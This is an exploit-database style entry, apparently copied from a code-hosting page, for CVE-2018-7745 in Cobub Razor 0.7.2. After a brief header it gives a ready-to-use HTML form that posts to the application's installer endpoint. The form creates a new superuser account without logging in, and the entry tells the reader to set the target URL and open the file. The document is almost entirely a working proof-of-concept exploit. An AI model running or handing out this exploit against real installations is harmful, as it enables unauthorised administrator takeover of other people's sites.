25 lines
No EOL
961 B
Text
25 lines
No EOL
961 B
Text
# Exploit Title: [Cobub Razor 0.7.2 Add New Superuser User]
|
||
# Date: [2018-03-07]
|
||
# Exploit Author: [ppb（ppb@5ecurity.cn）]
|
||
# Vendor Homepage: [https://github.com/cobub/razor/]
|
||
# Software Link: [https://github.com/cobub/razor/]
|
||
# Version: [0.72]
|
||
# CVE : [CVE-2018-7745]
|
||
|
||
There is a vulnerability that can add an admnistrator user without login.
|
||
update the url and save to html ，then open it.
|
||
|
||
|
||
<html>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="http://127.0.0.1/index.php?/install/installation/createuserinfo" method="POST">
|
||
<input type="hidden" name="siteurl" value="http://127.0.0.1/" />
|
||
<input type="hidden" name="superuser" value="test" />
|
||
<input type="hidden" name="pwd" value="test123" />
|
||
<input type="hidden" name="verifypassword" value="test123" />
|
||
<input type="hidden" name="email" value="12@qq.com" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
</body>
|
||
</html> |